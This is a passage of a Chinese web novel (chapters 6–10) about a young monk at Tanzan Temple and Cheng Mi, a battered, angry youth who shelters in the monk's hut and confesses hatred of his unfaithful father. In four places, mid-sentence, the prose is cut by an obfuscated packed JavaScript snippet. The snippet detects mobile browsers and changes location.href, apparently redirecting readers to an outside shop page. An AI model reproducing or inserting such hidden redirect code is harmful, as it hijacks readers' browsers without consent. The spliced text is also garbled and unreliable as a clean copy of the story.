男人含泪道:“小师父,我命不好。” 沈岸寻停顿几秒,站到男人面前,说了句“阿弥陀佛”。他应声道:“心中有佛,便能早日脱离苦海。” 男人垂下眼,面色泛苦地摇摇头:“太难了,活着太难了。” “佛祖能让你心境平和,能够悟透生命的意义。”沈岸寻说,“如果你拥有健康,那么你的路还很长。” 听完沈岸寻的一席话,男人安静下来了。半晌,他双手合十冲沈岸寻行礼:“阿弥陀佛,谢谢小师父。” 目送男人踉跄地迈下长阶,沈岸寻望向隐于山峦的落日,原地静待夜晚。他的脸上没有表情,心中也无七情六欲,他像东升西落的太阳,在佛法的戒律里日复一日地活着,无灾无难。 林间虫鸣鸟叫,沈岸寻准备返家,还没走上窄径,他看见了今天跟踪他一整天的那个女人。沈岸寻知道她是谁,但对她的印象实在太模糊了,十二年没见,十二年后两人再见,是在沈岸寻刚满十八岁的那一天。 女人说她叫沈思妍,大他六岁,是他的亲姐姐。 墨镜别在胸口,沈思妍化着浓妆,穿着齐腰短袖,紧身牛仔裤包裹出她线条优美的腿型。长发鸦羽似的散在背后,她朝沈岸寻走来,步子迈得很稳,眼神凛然而又坚定。 沈思妍唤:“岸寻。” 沈岸寻无动于衷,他曾多次向沈思妍自我介绍,他叫空觉。沈思妍不认,偏要喊“岸寻”,她说沈岸寻小时候特别黏她,跟她比跟妈妈都要亲。 沈岸寻记不太清了。打从他有清晰的记忆起,他就在檀赞寺修佛,唯一的亲人是虚云大师,除此之外再无他人。 沈思妍的声音偏低,富有磁性,和她出众的外表极为相配。沈岸寻眉宇间确实与她有几分相似,旁人瞧上一眼,也会觉得他们之间存在血缘关系,猜测可能是亲姐弟。 沈思妍道:“今天很晚了,你早点休息,过两天我再来看你。” “施主不必在我身上浪费时间。”沈岸寻低眉恭敬地说,“即使先前有过缘分,现在我已皈依佛门,你我早就是两个世界的人。” “我并不是有意打扰你的,也没有干扰你的学习和生活。”沈思妍将吹乱的发丝别向耳后,深吸口气,“只是在这个世界上,你是我唯一的亲人了,看到你,能让我想起很多温暖的过去,我需要借着这些记忆活下去,因此才会来找你。” 待她讲完话,沈岸寻向她行礼,然后绕过沈思妍大步离去。沈思妍看着他的背影,扬声问:“我还能来看你吗?” 沈岸寻停下脚步,回道:“请便。” 檀赞寺门前的空地上只剩沈思妍一人,修建在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314481|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山腰中的庙宇被黑夜衬托,显得更加庄重肃穆。沈思妍扬起下颌面朝寺庙大门,内心有两股力量在拉扯,一股企图将她拖向地狱,另一股正努力将她拉回人间。 双手合十,沈思妍虔诚弯腰,唇角颤抖地发声:“圣佛慈悲。” 第二天清晨,沈岸寻按时起床,踩着晨钟去念佛堂做早课。六点左右,他在斋堂吃完早饭,准备回木屋清洗衣物。 檀赞寺后院的外墙与木屋之间隔着几米的距离,琉璃瓦在晨光中斜下阴影,沈岸寻掏钥匙时忽然停住脚步,他朝左侧转头,凝视着正对木屋的那一小片淡淡的墨色。 墨色之中,有人在等他。 等来沈岸寻,程觅拍拍裤子站起身,迈步走出阴影,走到阳光下,冲沈岸寻没心没肺地咧嘴一笑。光线照清程觅的身形,沈岸寻缓慢对上他的目光,良久,他开口道:“你受伤了。” 衣衫松垮地挂在肩上,被人撕扯得变了形,额头、颧骨、嘴角全部挂着淤青,尤其是嘴角,肿得厉害,程觅垂眼踢开脚边的石子,右手按住后颈,有些不好意思地问:“小师父,我能在你这儿住两天吗?” 沈岸寻道:“檀赞寺只有在开放日才对散客提供住宿。” “交钱也不行……”话音停顿,程觅及时咬住舌头,差点忘记修佛之人是不能收钱的。他重重地叹了口气,说,“这样啊。” “那我……”抬眼看了看沈岸寻,程觅撇嘴“啧”了一声,认命道,“走了。” 才刚转过身,身后的人问:“为什么不去医院?” “都是小伤。”程觅摸着额角,回答,“我经常打架,早就习以为常了。” 沈岸寻一字一顿地说:“打架是不对的。” 不知为何,程觅突然没忍住,“噗嗤”一声笑出来,然后愈发止不住,干脆捂着肚子放开了笑。打架当然不对,幼儿园小孩儿都清楚的道理,但被沈岸寻这么严肃认真地讲出口,程觅竟然觉得对方有些可爱。 将昨天的不痛快全部发泄出去,程觅笑过瘾了,长长地呼出一口气,眸光逐渐黯淡:“我知道啊,可我明知故犯,在你眼里我大概是个坏人吧。” 沈岸寻却道:“如果你不肯去医院,我这有药箱。” 7.第7章 正文007 直到下了出租车,程觅也没闹明白自己为什么非要来见沈岸寻。 他最怕累了,除了打篮球,其他时候能蹲着绝不站着,能坐着绝不蹲着,能躺着绝不坐着。望着一千多级长长的台阶,茂盛的树林遮天蔽日,程觅一脸苦闷,见个人还得先劳他筋骨,这人又不是天仙下凡,太没天理了。 踩上第一级台阶,程觅双手插兜盯着地面,又一次自问道:为什么非得来这里呢。 不久之前,他在自己家的餐厅大闹了一场,将餐桌砸了个稀巴烂。程昌磊彻底被激怒,拿着高尔夫球杆一下下往他背上挥,程一珂捂着红肿的半张脸鬼哭狼嚎,许茜在骂人,冉菁遥吓得不敢出声。 程觅迎着程昌磊的球杆,后背吃痛,痛感助长了怒火,让他一脚踹倒了无处躲藏的程一珂。 程觅回头冲冉菁遥大嚷:“上楼去!” 冉菁遥颤抖道:“小觅……” 程觅暴躁地冲她吼:“别再让我重复第二遍!” 冉菁遥神色复杂地看了眼程昌磊,面色苍白地逃离客厅,直奔楼梯。 约莫二十分钟,冉菁遥的屋门被敲响,她仓惶着从座椅上站起来,拉开门,只见程觅双目赤红地站在门口,拳峰渗血,手臂浮现淤青,衣服被撕扯得歪歪扭扭。 冉菁遥手足无措:“小觅,你、你疼不疼啊,妈给你……” “别碰我。”程觅拧着眉,抬脚走进冉菁遥的卧室,说,“我身上脏,不疼。” 冷清的房间内,靠墙立着一尊佛龛,程觅斜倚在落地窗边,望着窗外平复情绪。冉菁遥几次欲言又止,两只手无处安放,半刻钟后,倒是程觅先开了口:“离婚的事你考虑得怎么样了?” “我真的不能和你爸爸离婚!”唯唯诺诺的姿态消失了,冉菁遥紧抿嘴唇,焦虑地来回走动,“小觅,我不可以离婚,我如果同意了,许茜就得逞了!” “你的人生还要为失败的爱情浪费多少时间?”刚才闹那么一出,体力已然快要耗尽,程觅疲倦道,“你活着就是为了让自己受气的吗?” “我没办法,小觅,我一点办法都没有。”冉菁遥红着眼睛说,“我爱你爸爸,我和他有二十八年的感情啊,我们从学生时代到现在,在一起的每一幕我都记得清清楚楚,我放不下。” “他爱你,看中的是你的钱,他对你好,是想拿到你手上的股份,他把集团的名字改成信昌,把你踢出董事会,你还不清醒吗?”程觅说,“退一万步讲,就算他过去真的爱过你,人是会变的,你爱的只是你记忆中的程昌磊,你可以放不下记忆,但你不能不去面对现实。” “我不离婚。”冉菁遥抱住胳膊,指甲抠进皮肤里,“无论你说什么我都不会离婚的,我是程昌磊唯一合法的妻子,这个位子我绝对不会让给别的女人。” 有那么一刻,程觅忽然觉得自己的人生特别没意思。 去年九月,程觅的雅思考了6.5分,已经有美国的学校向他发出邀请。程昌磊的出轨摧毁了他一直以来的信念,美国、金融专业、信昌集团的接班人,定下的种种目标不过是他在自作多情,程昌磊还有两个儿子,这个接班人轮也轮不到他,如今只要想到自己过去讨好父亲的样子,程觅就恶心得想吐。 程觅的舅舅冉康久居英国,得知此事,再三劝说程觅尽快带着冉菁遥移民,他会帮他们办理好移民手续。然而冉菁遥的精神状态越来越糟糕,甚至到了睡觉必须要吃安眠药的地步。她不能接受程觅和冉康“离婚”的提议,认为所有人都是在逼她,没有人能够真正地理解她,站在她的角度为她考虑。 二十八年的感情说放下就放下,很难,程觅其实理解,但冉菁遥必须熬过这一关,否则,她的后半生都将在隐忍和不甘之中度过,活得委屈又拧巴。 程觅无奈地笑了:“你的药量一直在增加,你是不想活了吗?” “我就算是死。”冉菁遥咬牙切齿道,“也得死在程家。” “行。”程觅认命地点了点头,舔了舔有些干裂的嘴唇,说,“那我不奉陪了。” 大步朝着门口走去,冉菁遥见势一把抓住程觅的手腕:“你又要去哪儿,小觅你知不知道妈妈很害怕,你不在我身边,你爸连个正眼都不会给我的。” 松掉冉菁遥的手,程觅忍气轻声道:“妈,这是你的选择,你想把自己的人生拴在程家,可我不想。” 冉菁遥听完又是哭又是嚷,程觅关上房门,同保姆方姨交代几句,揣着手机离开了家。隔着密不透风的玻璃窗也能听见冉菁遥的叫喊,程觅望着无边的夜幕大口呼吸,他很心疼妈妈,心疼得想掉眼泪。 这些天程觅总是在想,做错的明明不是他们,承受苦难的却是他们,这个世道是不是一直都是这样。 手机在兜中振动,程觅掏出来解锁,是他最好的兄弟逯卓。他们约在网吧见面,程觅在乌烟瘴气的环境中打了六局游戏,全赢,可依旧提不起做任何事情的兴致。 “少爷,要不去唱歌吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318295|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”逯卓摘掉耳机,挂在脖子上问,“咱也放肆一把,叫几个漂亮的小姐姐陪咱一块儿?” 程觅弓起一条腿踩住座椅,点开网页,在搜索栏中输入三个字:檀赞寺。他笑道:“为什么就不能叫几个漂亮的小弟弟?” 逯卓一愣,随后爆发出一阵狂笑:“我靠我都忘了这茬儿了,你丫喜欢男的。” 搜索“檀赞寺”显示的图片有1309张,程觅点开第一张,耐着性子一张一张地浏览。 “不是,你脑子有泡吧。”逯卓搬着椅子靠近程觅,瞪着电脑屏幕震惊地问,“没事儿看寺庙的图片干吗?难不成你那个操/蛋的家害得你厌世了?心如止水打算出家了?” 程觅边掏耳朵边说:“闭嘴,老子就是随便瞅瞅。” 他浏览得极快,像是在有目标地搜寻什么。逯卓眼前好似过幻灯片一样,不一会儿,他的视线就有些模糊不清了,索性不再搭理程觅,转回自己的电脑前继续跟队友连麦。 鼠标点击377下,食指悬停半空,程觅聚焦视线,他找到了,是沈岸寻。这张照片明显是某位游客拍的檀赞寺三佛殿的正面图,其中包含不少烧香拜佛的人,沈岸寻是误入,他穿着罗汉服,左手戴着老山檀佛珠,正在仰望娑罗树上的一只橘猫。 莫名其妙的,网吧嘈杂的噪音倏忽撤出耳畔,程觅凝视屏幕中的照片,心情忽然沉静。檀赞寺的钟声肃穆悠长,檀香的味道经久不散,程觅将下巴垫在弓起的膝盖上,认真看着照片中的沈岸寻。 那是一片神圣的地方,那里的人与世隔绝,周而复始地念佛、诵经。那个男人似乎没有忧愁,也无烦恼,他像是游离尘世之外的修行者,能够引导和拯救身处迷途的人。这世间有一年四季,有家国春秋,也有日升月落,可这些都与沈岸寻无关,他只是一种令人心安的存在,对于此刻的程觅而言。 为什么想见沈岸寻,程觅继续拾级而上,这个答案恐怕只有在见到对方之后才能得出吧。 一级级迈上台阶,程觅穿过树林,迎着竹风,耐心地静守在木屋前。等来沈岸寻的时候,程觅在看见对方的瞬间,内心的答案仿佛如约而至。 正如那些需要来寺庙求佛的人一样,他们想让自己饱受煎熬的心能够拥有一个归属之地。世间犹如一片深海,每个人从出生起就在海面上漂浮,随着时间的推移,有人溺水、沉没,有人抱着浮木浑浑噩噩地游荡,只有少数幸运的人能够抵达岸边。 程觅想抵岸,所以他来见沈岸寻了。 8.第8章 正文008 程觅对沈岸寻会收留他不报希望,毕竟他们是陌生人,可程觅又坚信沈岸寻一定会收留自己,因为对方是佛门弟子,在这世上,修佛之人的心是最善良的。 程觅美滋滋地跟上沈岸寻的脚步,说:“我这伤不碍事的,别浪费你的药了。” 沈岸寻不接话,拧开门锁走进木屋。回到这间简陋的屋子里,程觅竟莫名觉得亲切,不知是因为它很安静,还是因为飘散在屋内的檀香味。 程觅的肚子适时地“咕噜”一声,沈岸寻听见了,他指着墙角的一捆木柴问:“会生火煮粥吗?” “又吃粥啊?”才刚抱怨了一句食物,程觅随即反应过来,他现在可是寄人篱下,没资格挑三拣四,“生火还不简单,试一次就会了。” 沈岸寻看着他,目光似打量,五官连细小的变化也没有,大概是在思考眼前的话痨少年究竟能不能把柴火生起来。突如其来的对视,程觅眨了眨眼睛想移开视线,但又觉得这么做有点尴尬,于是撸起袖子,叉着腰,摆出一副势在必行的架势。 沈岸寻把程觅一个人留在木屋,程觅盯着合上的屋门犯难了,小师父怎么突然一声不吭地走了?这是要生火还是不要生火?他该淘多少米,一人份还是两人份?灶台上没有打火机,难不成他还得就地钻个木? 算了,先把木柴拆开吧,程觅压制住内心的烦躁,学着沈岸寻的样子默念了一遍“阿弥陀佛”,搬来小板凳坐到一捆柴火前,伸手去解麻绳……解不开。 有剪刀吗?程觅在屋内寻摸一圈,没找到。抓了抓脸,这也太麻烦了,程觅给自己气饱了,费这劲就为一口大米粥,他还不如跟着沈岸寻去化缘呢。 这想法刚起了个头,程觅便开始一边幻想一边琢磨:空觉小师父平时会外出化缘吗?能带着他一起吗?要得到好吃的吗?好心人给的……不会还他妈是大米粥吧?! 门板开合,程觅打消思绪闻声抬头,紧接着一皱鼻子,循着香味瞄向沈岸寻手里拿的东西,激动地跳起身——是烤红薯!他赶忙接过来,沈岸寻转而去床下的药箱里找药膏,程觅一口吞掉小半个红薯,又开始问问题了。 他对沈岸寻特别好奇,因此总有问不完的问题。 “小师父,你化过缘吗?” 沈岸寻不回话,程觅也没指望对方会回话,但这并不妨碍他继续问:“一般人家都会给你们送些什么吃的啊?” “你们不能吃肉吧?那鸡蛋能吃吗?鱼豆腐呢?素火锅应该没问题吧?” 沈岸寻将找到的药膏放上灶台,离程觅很近。将泡在塑料盆中的罗汉卦拧干水,用衣架晾好,再次出门前,他被程觅扯住了衣服。 程觅问:“小师父,我能在这儿休息会儿吗?保证不乱动你的东西。” 沈岸寻说:“你可以睡床。” 听见这话,程觅对沈岸寻的印象更好了。吃完红薯,在抹药膏的时候,程觅心下不禁思索:出家人有底线吗?是不是只要陌生人开口一般都会帮忙啊?那他们不累吗?出家人其实也挺难做的吧? 一屁/股坐上床,脑袋一沾枕头,程觅顿时感觉骨头都软了。外面炎阳当空,气温偏高,屋内却清凉舒爽,程觅入睡的速度极快,闭眼便跌进梦境,又是一场令他疲乏甚至窒息的噩梦,他在梦里攥着一根高尔夫球杆,照着他爸的脑袋一通狂抡。 梦中的程觅意识清醒,深知杀人犯法,可他控制不了自己的行为。现实的恨意会被梦境放大、加深……程昌磊被他打得头破血流。 停下,快停下,程觅一遍又一遍地告诫自己,但四肢仍旧不听使唤。噩梦变成一块巨石,压得程觅无法动弹,他眼睁睁地看着自己成为杀人犯,仇恨犹如深渊,一口将他吞噬。 妈妈解脱了。这是程觅的第一个反应,无论是在现实中还是在梦境里,他始终把冉菁遥看得比他自己重要。 程觅游荡在梦境与现实的交界处,对程昌磊的恨意一点点叠加、量变,最终质变。程昌磊罪该万死,这个想法在程觅心中愈加深刻,程觅浑浑噩噩地想,即使自己完蛋了,也要让程昌磊付出代价。 直挺挺地坐起身,被吓醒的程觅张着嘴巴大口呼吸。新鲜的空气涤荡胸腔,他满脸热汗地瞪着光秃秃的墙壁,迟滞地反应过来自己已经从可怕的噩梦中挣扎出来了。 天色已然暗下,周遭事物被深夜笼罩,轮廓模糊。抬手抹掉脸颊上的汗,想到沈岸寻,程觅转头看向放在墙角的蒲团,尽管他早就做好了心理准备,仍然在看到不远处坐着个人的时候差点吓得魂飞魄散。 手机亮起光芒,屏幕显示23:05,在网吧刷夜的后果就是,程觅直接睡了十四个小时。摆脱梦魇之后,四肢缓慢恢复知觉,骨缝间透出酸楚感,程觅疲惫地弯起背脊,渐渐与夜色融为一体。 他感到孤独,内心空荡荡的,空得他难受。他有无数的不痛快,不知道应该向谁倾诉,更不知道应该怎样排解愁苦。 灶台上放着一个大瓷碗,程觅踩着鞋子走过去瞅了瞅,里面装着四块芋头,旁边搁着一小罐白砂糖。程觅爱吃甜食,芋头蘸糖他没吃过,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322422|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下来,剥开外皮尝一口,噩梦带来的惴惴不安被丝丝缕缕的甜意瞬间抚平。 他坐在浓深的黑暗中,咬着芋头,看着沈岸寻。透窗的月光爬上沈岸寻的肩膀,照亮他的身形,程觅目不转睛地看着,一时忘记咀嚼,那人的身影一半在明,一半在暗,让他无端想到曾经看见过的一张人脸图片,那张脸一半是佛,一半是魔。 一念善恶。 “小师父。”程觅轻声开口,问,“你醒着呢吗?” 他知道沈岸寻就算醒着也不会回答,但他更希望对方是睡着的状态。夜色会将负面情绪勾出心底,一点点加深、加重,程觅找不到克服它的办法,但眼下,有个人正一直陪着他。 沈岸寻是出家人,这个身份让程觅可以无所顾忌地诉说,就像那些前来拜佛的人在佛殿前向佛祖祷告一样。 “我最近经常做噩梦,我其实有点害怕,因为它很真实,我怕它会变成现实。” 急于将内心的难过和无助宣之于口,程觅迫切地想要倾诉。他需要发泄,他已经隐忍了太久。 “今年我家发生了变故,种种原因导致我越来越控制不住自己的脾气,面对憎恨的人,总是想用暴力解决问题。” “我妈养大我不容易,我看着她一天天消瘦、颓废,心里跟有把刀似的,绞着疼。” “我爸是个人渣,用我妈的钱创业,吞并我姥爷的公司,步步为营。他在外面养小三,有两个私生子,跟我妈结婚十八年来对我妈百依百顺,实际上是为了我妈手上的股权。” 盯着手中沾着白砂糖的芋头,程觅说:“我曾经特别自豪我的父亲是程昌磊,但是现在,我只想让他为他的所作所为付出代价。” “越是去想这些事情,我越控制不住自己心里的恨意,越想让程昌磊跪在我妈面前磕头赎罪。” “每次回到家,只要一看到他和小三一家四口温馨的画面,我就……” 话音停顿,程觅的语气虽然听上去平淡,但赤红的眼睛正在借夜色遮掩。 “小师父。”程觅咬了一口芋头,这次没能尝出甜味,“我想杀了我爸。” 沈岸寻倏地皱了下眉。 心中的诵经声停,沈岸寻缓缓睁开双眼,脑海中隐约浮现出一幕既陌生又带着一丝熟悉感的画面。程觅的最后这句话,好似穿越时间的界限连接上了沈岸寻的过去,有那么一刻,沈岸寻好像亲身感受到了程觅的愤怒,平静了十二年的心湖突然泛起涟漪。 “我想杀了程昌磊。”程觅边吃边说,“我想救我妈妈。” 9.第9章 正文009 积攒在内心的仇恨再多,也不可能转化成行动,这种可怕的想法只存在于程觅受到刺激的那一瞬间。他经常想,程昌磊和许茜能够消失在这个世界上该有多好,这样冉菁遥就可以脱离苦海,曾经对父亲的崇拜、敬佩、向往,都将深埋于地下,不会再让他想到就难受。 毫无保留地倾诉完毕,程觅又开始担心了——为什么要把心中最黑暗的一面展现给沈岸寻?人家不会真当他是潜在的杀人犯吧? 突如其来的心悸,程觅有点心虚,也有点胆怯,但随即他又在庆幸,沈岸寻一动不动,应该是睡着了,不然任谁听见他刚才说的那些话,都会对他这种人退避三舍吧。 正庆幸着,一股汗臭味飘进鼻腔,程觅揪起衣领闻了闻,嫌弃地皱着眉毛。 没带换洗衣物,内/裤也就身上这一条,就算能熬过今晚,明后天呢?程觅可不想回家去取,他心里的怒气还没消,避免再与那家人发生争执。 思来想去,程觅摸出手机,拨通逯卓的号码。显示接通,程觅问:“跟哪儿呢?” 逯卓回道:“唱歌呢,你来不来?给你叫漂亮弟弟。” “我没那雅兴。”刻意压低音量,程觅捂嘴小声说,“帮我一忙。” 逯卓道:“讲。” “帮我买两套现在能穿的衣服、四条内裤,还有苹果充电线。”程觅想了片刻,继续说,“还有洗脸毛巾和香皂,牙膏牙刷,反正就是些生活用品,你看着来吧。” 逯卓听蒙了:“我靠,我尊贵的大少爷,您不会是要离家出走吧?” 程觅道:“差不多是这么个意思。” “你是不是缺心眼儿啊?”逯卓走出吵闹的包间,站在KTV的走廊上讲电话,“留那个小三在你家作威作福?你难道不应该跟他们斗到底,把程家的家产都抢回来握在自己手里吗?” 程觅听罢,不屑地从鼻腔中哼出一个音:“呵。” 逯卓不明白了:“少爷,您这态度是几个意思。” “我要是你,我也会跟你讲同样的话。”程觅背靠灶台,长腿伸直坐姿懒散,“但你要是我,你也会跟我做同样的选择。” “我不想每天都过得那么糟心,再这样下去我整个人都废了。我有我自己的人生,我得先把我想走的路走顺畅了,有了能力和本事,再去处理程家的事儿。” 听筒对面沉默良久,逯卓说:“懂了兄弟,你现在在哪儿呢?你要的东西我明天上午给你送过去。” “谢了。”程觅道,“我在檀赞寺。” “哪儿?”逯卓震惊地差点叫出声,“什么寺?寺庙啊?我靠,敢情您不会是要出家吧?我跟你说程觅,你别一时想不开,真的,你丫剔秃瓢绝对不好看!” “去你大爷的。”程觅笑着说,“别逼逼了,我把位置发你,你明天打车过来,我报销。” 挂断线,程觅编辑完微信发送,双肘向后把胳膊架在灶台上,摁灭手机玩转在指间。林间起风了,竹叶摩擦的窸窣动静透窗传进屋内,他望着窗外朦胧的月色,放缓呼吸,试图让浮躁的心情变得平静。 正在努力放空时,沈岸寻突然开口:“把芋头吃完,不要浪费粮食。” 狠狠地打了个哆嗦,程觅被沈岸寻吓了个半死,刚想往外蹦脏话,顾及对方是出家人,便忍住了:“小师父,你没睡着啊,我还以为……” 他没睡着……他居然没睡着?!还是被我吵醒了?!什么时候醒的?我说的话他听到了多少? 程觅的心跳都快吓停了。他的眼睛早已适应了黑暗,有些不敢对上沈岸寻的视线,后背一股股地冒着冷汗。 他在一个修佛之人面前袒露自己的心事,无所顾忌,毫无保留……沈岸寻会怎么想他,程觅不知道,但他唯一能确定的是,沈岸寻估计不会让他继续留在这里了。 一想到自己即将四海为家,程觅就有些沮丧。他回道:“哦,我这就吃。” 剥完皮,咬一口芋头瞄一眼沈岸寻,程觅心中如波涛汹涌,愈发坐立不安。吃干净芋头,他换成乖巧的坐姿,两手规矩地放在膝盖上,抿了抿嘴唇,忐忑地问:“那个,小师父,我能……我能再住两天吗?” 沈岸寻回答:“可以。” 嗯?这么干脆就答应了?程觅大喜过望,差点由着性子上前跟沈岸寻勾肩搭背称兄道弟。应该表现得沉稳一点,程觅不停地提醒自己,然后开心地说:“谢谢小师父。” 沈岸寻却道:“我有一个条件。” 程觅笑嘻嘻地说:“一个太客气了,你就算有十个我也答应你。” 沈岸寻道:“不准骂脏字。” 程觅:“……” 这个要求确实有些困难,程觅肯定能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328151|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应,只是有时脏字是下意识脱口而出的,并不是有指向性的要骂谁,大多用来排解苦闷的心情,逞一时的口舌之快。程觅先是点了点头,又怕对方看不见,于是说:“没问题,就是吧……我这都骂习惯了,改正需要时间,万一我一不小心说话又带脏字了,小师父多多包涵啊。” 沈岸寻从蒲团底下抽出一本经文,一挥手扔到程觅脚边:“佛门净地不可有污言秽语,我不包涵,你说一个脏字,就念一页金刚经。” “啊!?”瞪着地上的经文书,程觅瞠目结舌地捡起来,对着窗户翻开封页,掐着人中说,“这他……这都讲的什么玩意儿啊。” 沈岸寻道:“如果不愿意念,就用笔抄。” “我愿意!”程觅坐直身子,举手说,“小师父,我愿意念,千万别让我抄书,九年义务教育成天让我们抄课文,我最烦抄书了。” 沈岸寻不再发话,闭上眼放缓气息,渐渐与黑暗相融。程觅借着月光翻了两页金刚经,生无可恋地叹一口气,肩膀往下一塌,郁闷地晃了晃脚。 夜色正浓,程觅打着哈欠刚想躺回床上,低头瞅两眼自己的脏衣服,实在忍不了了,抬手扯住衣摆从头上一把掀掉。背部溢汗,沈岸寻的床铺清新干净,程觅犹豫了一下,轻声道:“空觉小师父,能借我一条毛巾吗?我去外面的水池擦擦身子,太热了全是汗。” 沈岸寻回道:“在门后的挂钩上。” 不知为何,程觅对沈岸寻会回答他的话感到特别愉快:“谢谢。” 沈岸寻的毛巾和床单一样,也是紫色的,程觅更加愉快地拿在手里,轻手轻脚地出了门。盛夏夜晚,即使有风温度依然不低,程觅走到水池前,转动水龙头浸湿毛巾,拧干后先从胳膊擦起,然后是肩膀、后背、肚皮。 抬起左胳膊,正想擦胳肢窝,程觅动作一顿,盯着毛巾陷入沉思。不知是不是程觅的错觉,沈岸寻的毛巾上也有股淡淡的檀香味,这股味道在他心中是圣洁的、不染一尘的,如果用沈岸寻的毛巾擦胳肢窝,程觅总感觉像是有点对佛祖不敬的意思。 简单将前胸后背擦拭一遍,程觅认认真真将毛巾用清水洗干净,最后揉了把脸。柔软的布料蒙住眼睛,程觅不自觉加深呼吸,全黑的视野里,伴随着若有若无的檀香味,他好似能够看见正在静心打坐的沈岸寻,没用多久,躁乱的心情悄然归于平静。 10.第10章 正文010 程觅是被逯卓的电话吵醒的。 光着上身睡了一整夜,阳光洒满木屋,程觅的皮肤白得发亮,因打架留下的淤青就显得尤为醒目。 他偏瘦,平躺时肋骨隐现,此刻弯腰坐起,脊椎细微突出。点击接听,手机移向耳畔,程觅慵懒地开口:“到了?” “到是到了。”逯卓说,“但是现在面临一个问题。” 环视一圈屋内,沈岸寻不在,程觅道:“废话少说。” “那也得说,这简介牌上写着呢,通向檀赞寺的台阶总共有一千六百六十六级。”逯卓说,“所以,劳烦少爷您下来拿一趟您的东西。” “我给你转一千六百六十六块钱。”程觅更不想动,“你送上来。” “免谈!”逯卓斩钉截铁,“我家住二楼我都坐电梯,本人平生最讨厌爬台阶!” 程觅道:“翻倍。” 逯卓说:“少爷,我最不缺钱了。” 程觅道:“《王者荣耀》的游戏账号送你。” 深思熟虑之后,逯卓讨价还价:“我走半截,你走半截,半山腰见。” 程觅立刻跳下床:“成交。” 运动服都臭了,但程觅也不能光着身子出去拿东西,毕竟是佛门净地。一脸嫌弃地穿好衣服,程觅轻掩木屋的门,迎着湿热的竹风跑下山坡。 踏到平地上,檀赞寺今日的游客不多,程觅穿过平台,继续往下走。远远的,一个身形微胖的人拎着两大包物品费劲地踩着台阶,累得挪两步就得喘两口。 程觅数着数,正好到半山腰,多一级台阶都不下,抱着胳膊在等逯卓。逯卓喘得五官都拧到一起去了,疲惫的样子仿佛去西天取了趟经。 “我他妈上辈子欠你的。”扶着栏杆,逯卓左手拄膝休整片刻,“这辈子这么为你当牛做马。” 接过塑料袋,程觅往里瞅一眼,登时瞳孔巨缩:“姓逯的,你什么时候见我穿过土黄色的内/裤?!” “别挑三拣四的了,你的尺码人店里只有这一种颜色,我问过了,没有紫色的。”逯卓道,“再说了,内/裤穿里面,谁看啊。” 程觅道:“我他……我自己瞅着不顺眼!” “你赶紧点点东西,看看还缺啥。”逯卓斜倚着栏杆调整呼吸,“反正缺啥我也不给你补送了,这地方太偏,来回快三个小时了,还得爬这么老长的台阶,打死不来第二趟。” “那你叨叨个屁……叨叨个球啊。”牙刷、电源线、生活用品都齐了,程觅道,“忘了让你帮我买零食了,在这儿每天都吃素我可真是受不住。” 逯卓直起腰背,认认真真从头到脚将程觅打量一遍,两眼一眯,问:“少爷,我发现你有点不对劲啊,你说话怎么别别扭扭的?” “嗯,我是不对劲,我现在不能骂脏字。”程觅合上塑料袋,“骂一个脏字就得念一页金刚经,那经文复杂得能让我舌头打结。” 逯卓惊呼:“你丫脑袋让驴踢了?说点我能听懂的话行吗!” “是你修为不够,再多悟几年吧。”程觅说,“行了,我回去了,我不在你身边的时候你好好的啊。” “别介,咱俩缘分未尽呢。”逯卓一把捉住程觅的胳膊,神色严肃,“我怎么有种你真的想要出家当和尚的感觉?” “这儿清静,等我火气消了就回去了,我不可能长时间把我妈扔在程家。”话音未落,一个女人晃晃悠悠地从两人身侧经过,程觅视线随意一扫,然后盯住女人的背影,发觉这人有点眼熟。 逯卓顺着他的目光看过去,问:“觅啊,看谁呢?” 程觅回忆片刻,恍然想起对方正是上次在佛教用品店见到的那个女人。他对逯卓道:“你先回去吧,游戏账号和密码我微信你。” 